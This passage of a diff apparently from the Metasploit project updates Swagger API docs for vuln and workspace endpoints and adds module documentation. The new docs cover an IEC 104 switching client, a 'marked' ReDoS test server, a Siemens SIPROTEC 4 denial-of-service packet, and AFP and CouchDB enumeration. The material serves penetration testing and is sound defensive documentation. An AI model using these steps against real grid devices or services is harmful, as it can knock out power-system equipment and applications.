key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/vulns POST
|
||||
|
@ -124,10 +140,25 @@ module VulnApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns vuln data.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Vuln
|
||||
property :data do
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -140,14 +171,30 @@ module VulnApiDoc
|
|||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns an array containing the successfully deleted vulns.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Vuln
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -157,8 +204,6 @@ module VulnApiDoc
|
|||
key :description, 'Return specific vuln that is stored in the database.'
|
||||
key :tags, [ 'vuln' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
|
@ -171,12 +216,25 @@ module VulnApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns vuln data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
property :data do
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/vulns/:id PUT
|
||||
|
@ -197,12 +255,27 @@ module VulnApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns vuln data.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Vuln
|
||||
property :data do
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -41,12 +41,28 @@ module VulnAttemptApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns vuln attempt data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :VulnAttempt
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :VulnAttempt
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/vuln-attempts POST
|
||||
|
@ -72,12 +88,67 @@ module VulnAttemptApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :VulnAttempt
|
||||
property :data do
|
||||
key :'$ref', :VulnAttempt
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/vuln-attempts/{id}' do
|
||||
# Swagger documentation for api/v1/vuln-attempts/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return a specific vuln attempt that is stored in the database.'
|
||||
key :tags, [ 'vuln_attempt' ]
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of vuln attempt to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns vuln attempt data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :VulnAttempt
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -34,12 +34,28 @@ module WorkspaceApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns workspace data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Workspace
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/workspaces POST
|
||||
|
@ -58,10 +74,25 @@ module WorkspaceApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Workspace
|
||||
property :data do
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -74,14 +105,30 @@ module WorkspaceApiDoc
|
|||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns an array containing the successfully deleted workspaces.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Workspace
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -103,12 +150,25 @@ module WorkspaceApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns workspace data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
property :data do
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/workspaces/:id PUT
|
||||
|
@ -129,12 +189,27 @@ module WorkspaceApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Workspace
|
||||
property :data do
|
||||
key :'$ref', :Workspace
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,120 @@
|
|||
# IEC104 Client for Metasploit
|
||||
|
||||
## Definition
|
||||
|
||||
IEC 60870 part 5 is one of the IEC 60870 set of standards which define systems used for telecontrol (supervisory control and data acquisition) in electrical engineering and power system automation applications. Part 5 provides a communication profile for sending basic telecontrol messages between two systems, which uses permanent directly connected data circuits between the systems. The IEC Technical Committee 57 (Working Group 03) have developed a protocol standard for telecontrol, teleprotection, and associated telecommunications for electric power systems. The result of this work is IEC 60870-5. Five documents specify the base IEC 60870-5:
|
||||
|
||||
IEC 60870-5-104 (IEC 104) protocol is an extension of IEC 101 protocol with the changes in transport, network, link & physical layer services to suit the complete network access. The standard uses an open TCP/IP interface to network to have connectivity to the LAN (Local Area Network) and routers with different facility (ISDN, X.25, Frame relay etc.) can be used to connect to the WAN (Wide Area Network). Application layer of IEC 104 is preserved same as that of IEC 101 with some of the data types and facilities not used. There are two separate link layers defined in the standard, which is suitable for data transfer over Ethernet & serial line (PPP - Point-to-Point Protocol). The control field data of IEC104 contains various types of mechanisms for effective handling of network data synchronization.
|
||||
|
||||
## Install
|
||||
Create a new folder for the IEC104 module, place script in new folder
|
||||
|
||||
```
|
||||
mkdir -p $HOME/.msf4/modules/auxiliary/client/iec104
|
||||
cp iec104.rb $HOME/.msf4/modules/auxiliary/client/iec104/
|
||||
```
|
||||
|
||||
## Usage
|
||||
### Selection of module in msfconsole
|
||||
```
|
||||
msf > use auxiliary/client/iec104/iec104
|
||||
```
|
||||
|
||||
### Show module options
|
||||
```
|
||||
msf auxiliary(client/iec104/iec104) > show options
|
||||
|
||||
Module options (auxiliary/client/iec104/iec104):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ASDU_ADDRESS 1 yes Common Address of ASDU
|
||||
COMMAND_ADDRESS 0 yes Command Address / IOA Address
|
||||
COMMAND_TYPE 100 yes Command Type
|
||||
COMMAND_VALUE 20 yes Command Value
|
||||
ORIGINATOR_ADDRESS 0 yes Originator Address
|
||||
RHOST yes The target address
|
||||
RPORT 2404 yes The target port (TCP)
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
SEND_COMMAND Send command to device
|
||||
```
|
||||
|
||||
### Usage Examples
|
||||
Example of sending IEC104 general interrogation command
|
||||
This is using thde default setting for command type, address and value, this is connecting to an local IEC104 server simulator for demo purposes
|
||||
```
|
||||
msf auxiliary(client/iec104/iec104) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf auxiliary(client/iec104/iec104) > run
|
||||
|
||||
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
|
||||
[*] 127.0.0.1:2404 - Sending 104 command
|
||||
[+] 127.0.0.1:2404 - Parsing response: Interrogation command (C_IC_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
|
||||
[+] 127.0.0.1:2404 - CauseTx: 07 (Activation Confirmation)
|
||||
[+] 127.0.0.1:2404 - Parsing response: Single point information (M_SP_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0002
|
||||
[+] 127.0.0.1:2404 - CauseTx: 14 (Inrogen)
|
||||
[+] 127.0.0.1:2404 - IOA: 1 SIQ: 0x00
|
||||
[+] 127.0.0.1:2404 - IOA: 2 SIQ: 0x00
|
||||
[+] 127.0.0.1:2404 - IOA: 3 SIQ: 0x01
|
||||
[+] 127.0.0.1:2404 - IOA: 4 SIQ: 0x00
|
||||
[+] 127.0.0.1:2404 - Parsing response: Single point information (M_SP_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0004
|
||||
[+] 127.0.0.1:2404 - CauseTx: 14 (Inrogen)
|
||||
[+] 127.0.0.1:2404 - IOA: 7 SIQ: 0x00
|
||||
[+] 127.0.0.1:2404 - Parsing response: Double point information (M_DP_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0006
|
||||
[+] 127.0.0.1:2404 - CauseTx: 14 (Inrogen)
|
||||
[+] 127.0.0.1:2404 - IOA: 6 SIQ: 0x02
|
||||
[+] 127.0.0.1:2404 - Parsing response: Interrogation command (C_IC_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0008
|
||||
[+] 127.0.0.1:2404 - CauseTx: 0a (Termination Activation)
|
||||
[*] 127.0.0.1:2404 - operation ended
|
||||
[*] 127.0.0.1:2404 - Terminating Connection
|
||||
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(client/iec104/iec104) >
|
||||
```
|
||||
|
||||
Example sending switching command
|
||||
IOA address to be switched is "5", the command type is a double command "46", command is for switching off without time value "5"
|
||||
Using local IEC 104 server simulator
|
||||
|
||||
```
|
||||
msf auxiliary(client/iec104/iec104) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf auxiliary(client/iec104/iec104) > set command_address 5
|
||||
command_address => 5
|
||||
msf auxiliary(client/iec104/iec104) > set command_type 46
|
||||
command_type => 46
|
||||
msf auxiliary(client/iec104/iec104) > set command_value 5
|
||||
command_value => 5
|
||||
msf auxiliary(client/iec104/iec104) > run
|
||||
|
||||
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
|
||||
[*] 127.0.0.1:2404 - Sending 104 command
|
||||
[+] 127.0.0.1:2404 - Parsing response: Double command (C_DC_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
|
||||
[+] 127.0.0.1:2404 - CauseTx: 07 (Activation Confirmation)
|
||||
[+] 127.0.0.1:2404 - IOA: 5 DCO: 0x05
|
||||
[+] 127.0.0.1:2404 - Parsing response: Single point information with time (M_SP_TB_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0002
|
||||
[+] 127.0.0.1:2404 - CauseTx: 03 (Spontaneous)
|
||||
[+] 127.0.0.1:2404 - IOA: 3 SIQ: 0x00
|
||||
[+] 127.0.0.1:2404 - Timestamp: 2018-03-30 21:39:52.930
|
||||
[+] 127.0.0.1:2404 - Parsing response: Double command (C_DC_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0004
|
||||
[+] 127.0.0.1:2404 - CauseTx: 0a (Termination Activation)
|
||||
[+] 127.0.0.1:2404 - IOA: 5 DCO: 0x05
|
||||
[*] 127.0.0.1:2404 - operation ended
|
||||
[*] 127.0.0.1:2404 - Terminating Connection
|
||||
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(client/iec104/iec104) >
|
||||
```
|
|
@ -0,0 +1,84 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
|
||||
in the npm module `marked`. The vulnerable regex is in the "heading" processing.
|
||||
Versions before 0.3.19 are vulnerable.
|
||||
Any application that uses a vulnerable version of this module and passes untrusted input
|
||||
to the module will be vulnerable.
|
||||
|
||||
## How to Install
|
||||
|
||||
To install a vulnerable version of `marked`, run:
|
||||
```
|
||||
npm i marked@0.3.19
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Create a new directory for test application.
|
||||
2. Copy below example server into test application directory as `server.js`.
|
||||
3. Run `npm i express` to install express in the test application directory.
|
||||
4. To test vulnerable versions of the module, run `npm i marked@0.3.19` to install a vulnerable version of marked.
|
||||
5. To test non-vulnerable versions of the module, run `npm i marked` to install the latest version of marked.
|
||||
6. Once all dependencies are installed, run the server with `node server.js`.
|
||||
7. Open up a new terminal.
|
||||
8. Start msfconsole.
|
||||
9. `use auxiliary/dos/http/marked_redos`.
|
||||
10. `set RHOST [IP]`.
|
||||
11. `set HTTP_METHOD get` (optional)
|
||||
12. `set HTTP_PARAMETER foo` (required)
|
||||
13. `set TARGETURI /path/to/vulnerable/route` (optional)
|
||||
14. `run`.
|
||||
15. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
|
||||
16. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### marked npm module version 0.3.19
|
||||
|
||||
Expected output for successful exploitation:
|
||||
|
||||
```
|
||||
[*] Testing Service to make sure it is working.
|
||||
[*] Test request successful, attempting to send payload
|
||||
[*] Sending ReDoS request to 192.168.3.24:3000.
|
||||
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
|
||||
[*] Testing for service unresponsiveness.
|
||||
[+] Service not responding.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Example Vulnerable Application
|
||||
|
||||
```
|
||||
// npm i express body-parser
|
||||
// npm i marked@0.3.19 (vulnerable)
|
||||
// npm i marked (non-vulnerable)
|
||||
|
||||
const marked = require('marked');
|
||||
const express = require('express');
|
||||
const bodyParser = require('body-parser');
|
||||
|
||||
var app = express();
|
||||
app.use(bodyParser.text({ type: 'text/html' }));
|
||||
|
||||
// create application/json parser
|
||||
const jsonParser = bodyParser.json();
|
||||
|
||||
// create application/x-www-form-urlencoded parser
|
||||
const urlencodedParser = bodyParser.urlencoded({ extended: false });
|
||||
|
||||
app.get("/", urlencodedParser, function(req, res) {
|
||||
var result = req.query.foo ? marked(req.query.foo) : 'nothing';
|
||||
res.end(result);
|
||||
});
|
||||
|
||||
app.post("/cat", urlencodedParser, function(req, res) {
|
||||
var result = req.body.bar ? marked(req.body.bar) : 'nothing'
|
||||
res.end(result);
|
||||
});
|
||||
|
||||
app.listen(3000, '0.0.0.0', function() { console.log('Application listening on port 3000 on all interfaces!'); });
|
||||
```
|
|
@ -0,0 +1,74 @@
|
|||
## Description
|
||||
|
||||
This module sends a specially crafted packet to Port 50000/UDP could cause a denial of service of the affected (Siemens SIPROTEC 4 and SIPROTEC Compact < V4.25) device. A manual reboot is required to return the device to service.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Since this exploit hits the embedded software of a SCADA component, there is no vulnerable application for download on the web.
|
||||
You may check the vendor's website for additional information. (http://w3.siemens.com/smartgrid/global/en/products-systems-solutions/downloads/Pages/SIPROTEC-4-Downloads.aspx)
|
||||
You may also check the demo video: (https://drive.google.com/open?id=176ZC7nLJyJHGHPB3LbRxvLgArE9kOjPz)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- [ ] Start ```msfconsole```
|
||||
- [ ] ```use auxiliary/dos/scada/siemens_siprotec4```
|
||||
- [ ] Set ```RHOST <TARGET>```, replacing ```<TARGET>``` with the IP address you wish to attack.
|
||||
- [ ] ```run```
|
||||
- [ ] Verify that you see ```[*] Sending DoS packet ...```
|
||||
- [ ] Verify that you see ```[*] Auxiliary module execution completed```
|
||||
- [ ] Verify that the exploit sends a specially crafted packet which contains ```11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E```
|
||||
|
||||
Document: (https://github.com/can/CVE-2015-5374-DoS-PoC/blob/master/README.md)
|
||||
Metasploit Module is written based on this exploit: (https://www.exploit-db.com/exploits/44103/)
|
||||
|
||||
## Options
|
||||
|
||||
```set RHOST <TARGET_IP>```, ```set RPORT <TARGET_PORT> (Default 50000)```.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf auxiliary(siemens_siprotec4) > info
|
||||
|
||||
Name: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module Denial of Service
|
||||
Module: auxiliary/dos/scada/siemens_siprotec4
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Normal
|
||||
|
||||
Provided by:
|
||||
M. Can Kurnaz
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOST yes The target address
|
||||
RPORT 50000 yes The target port (UDP)
|
||||
|
||||
Description:
|
||||
This module sends a specially crafted packet to port 50000/UDP
|
||||
causing a denial of service of the affected (Siemens SIPROTEC 4 and
|
||||
SIPROTEC Compact < V4.25) devices. A manual reboot is required to return the
|
||||
device to service. CVE-2015-5374 and a CVSS v2 base score of 7.8
|
||||
have been assigned to this vulnerability.
|
||||
|
||||
References:
|
||||
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01
|
||||
https://www.exploit-db.com/exploits/44103/
|
||||
|
||||
msf auxiliary(siemens_siprotec4) > show options
|
||||
|
||||
Module options (auxiliary/dos/scada/siemens_siprotec4):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOST yes The target address
|
||||
RPORT 50000 yes The target port (UDP)
|
||||
|
||||
msf auxiliary(siemens_siprotec4) > set rhost 192.168.1.61
|
||||
rhost => 192.168.1.61
|
||||
msf auxiliary(siemens_siprotec4) > run
|
||||
|
||||
[*] Sending DoS packet ...
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(siemens_siprotec4) >
|
||||
```
|
|
@ -0,0 +1,62 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module will gather information about the service.
|
||||
Netatalk is a Linux implementation of AFP.
|
||||
|
||||
The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
|
||||
|
||||
1. `sudo apt-get install netatalk`
|
||||
2. edit `/etc/default/netatalk` and add the following lines:
|
||||
```
|
||||
ATALKD_RUN=no
|
||||
PAPD_RUN=no
|
||||
CNID_METAD_RUN=yes
|
||||
AFPD_RUN=yes
|
||||
TIMELORD_RUN=no
|
||||
A2BOOT_RUN=no
|
||||
```
|
||||
3. Restart the service: `sudo /etc/init.d/netatalk restart`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and configure afp (or netatalk in a Linux environment)
|
||||
2. Start msfconsole
|
||||
3. Do: `auxiliary/scanner/afp/afp_server_info`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
A run against the configuration from these docs
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
|
||||
msf5 auxiliary(scanner/afp/afp_server_info) > set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
msf5 auxiliary(scanner/afp/afp_server_info) > run
|
||||
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1 Scanning...
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548:548 AFP:
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Flags:
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Super Client: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UUIDs: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UTF8 Server Name: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Open Directory: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Reconnect: false
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Notifications: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * TCP/IP: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Signature: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Messages: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Saving Prohibited: false
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Changing: false
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Copy File: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Machine Type: Netatalk2.2.5
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UAMs: Cleartxt Passwrd, DHX2
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Signature: 975394e16633312406281959287fcbd9
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Network Address:
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * 1.1.1.1
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UTF8 Server Name: ubuntu
|
||||
[*] 1.1.1.1:548 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,73 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.
|
||||
|
||||
The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/):
|
||||
|
||||
1. `sudo apt install software-properties-common`
|
||||
2. `sudo add-apt-repository ppa:couchdb/stable`
|
||||
3. `sudo apt update`
|
||||
4. `sudo apt install couchdb`
|
||||
5. Reconfigure couchdb to listen to all interfaces. Edit `/etc/couchdb/local.ini`. Under `[httpd]` add the following line: `bind_address = 0.0.0.0`
|
||||
6. Restart the service: `sudo service couchdb restart`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and configure couchdb
|
||||
2. Start msfconsole
|
||||
3. Do: `auxiliary/scanner/couchdb/couchdb_enum`
|
||||
4. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
**serverinfo**
|
||||
|
||||
If set to true, the server info will also enumerated and set in msf's DB. Defaults to `false`
|
||||
|
||||
## Scenarios
|
||||
|
||||
A run against the configuration from these docs
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/afp/afp_login) > use auxiliary/scanner/couchdb/couchdb_enum
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > run
|
||||
|
||||
[+] 1.1.1.1:5984 {
|
||||
"couchdb": "Welcome",
|
||||
"uuid": "6f08e89795bd845efc6c2bf3d57799e5",
|
||||
"version": "1.6.1",
|
||||
"vendor": {
|
||||
"version": "16.04",
|
||||
"name": "Ubuntu"
|
||||
}
|
||||
}
|
||||
[*] #{peer} Enumerating Databases...
|
||||
[+] 1.1.1.1:5984 Databases:
|
||||
|
||||
[
|
||||
"_replicator",
|
||||
"_users"
|
||||
]
|
||||
|
||||
[+] 1.1.1.1:5984 File saved in: /root/.msf4/loot/20180721105522_default_1.1.1.1_couchdb.enum_888970.bin
|
||||
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > services
|
||||
Services
|
||||
========
|
||||
|
||||
host port proto name state info
|
||||
---- ---- ----- ---- ----- ----
|
||||
1.1.1.1 5984 tcp couchdb open HTTP/1.1 200 OK
|
||||
Server: CouchDB/1.6.1 (Erlang OTP/18)
|
||||
